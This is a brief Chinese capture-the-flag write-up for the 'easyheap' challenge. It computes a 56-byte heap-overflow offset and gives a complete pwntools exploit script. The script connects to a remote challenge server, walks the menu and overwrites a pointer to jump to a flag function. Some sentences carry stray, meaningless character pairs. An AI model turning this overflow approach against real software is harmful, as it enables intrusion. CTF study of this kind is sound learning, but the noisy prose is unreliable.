easyheap:
本題是簡單的堆溢出,我們先將文件運行一下泻红,看下程序想要執(zhí)行的具體功能是什么忍弛。
可以看到該程序是一個常見的菜單程序颠区,將程序放入IDA進行反編譯。
根據(jù)malloc函數(shù)和qword_602098+8可以計算出填充字符大小為0x20+0x10+8=56
知道這些之后就可以直接寫腳本了
```
from pwn import *
target = remote('202.112.51.217',24598)
#target = process("./easyheap.easyheap")這是本地的
flag = 0x400766
payload = 'A' *56 + p64(flag)
target.recvuntil('name?\n')
target.sendline('1')
target.recvuntil('choice :')
target.sendline('1')
target.recvuntil('Name:\n')
target.sendline('1')
target.recvuntil('choice :')
target.sendline('3')
target.recvuntil('info:\n')
target.sendline(payload)
target.recvuntil('choice :')
target.sendline('2')
target.interactive()
```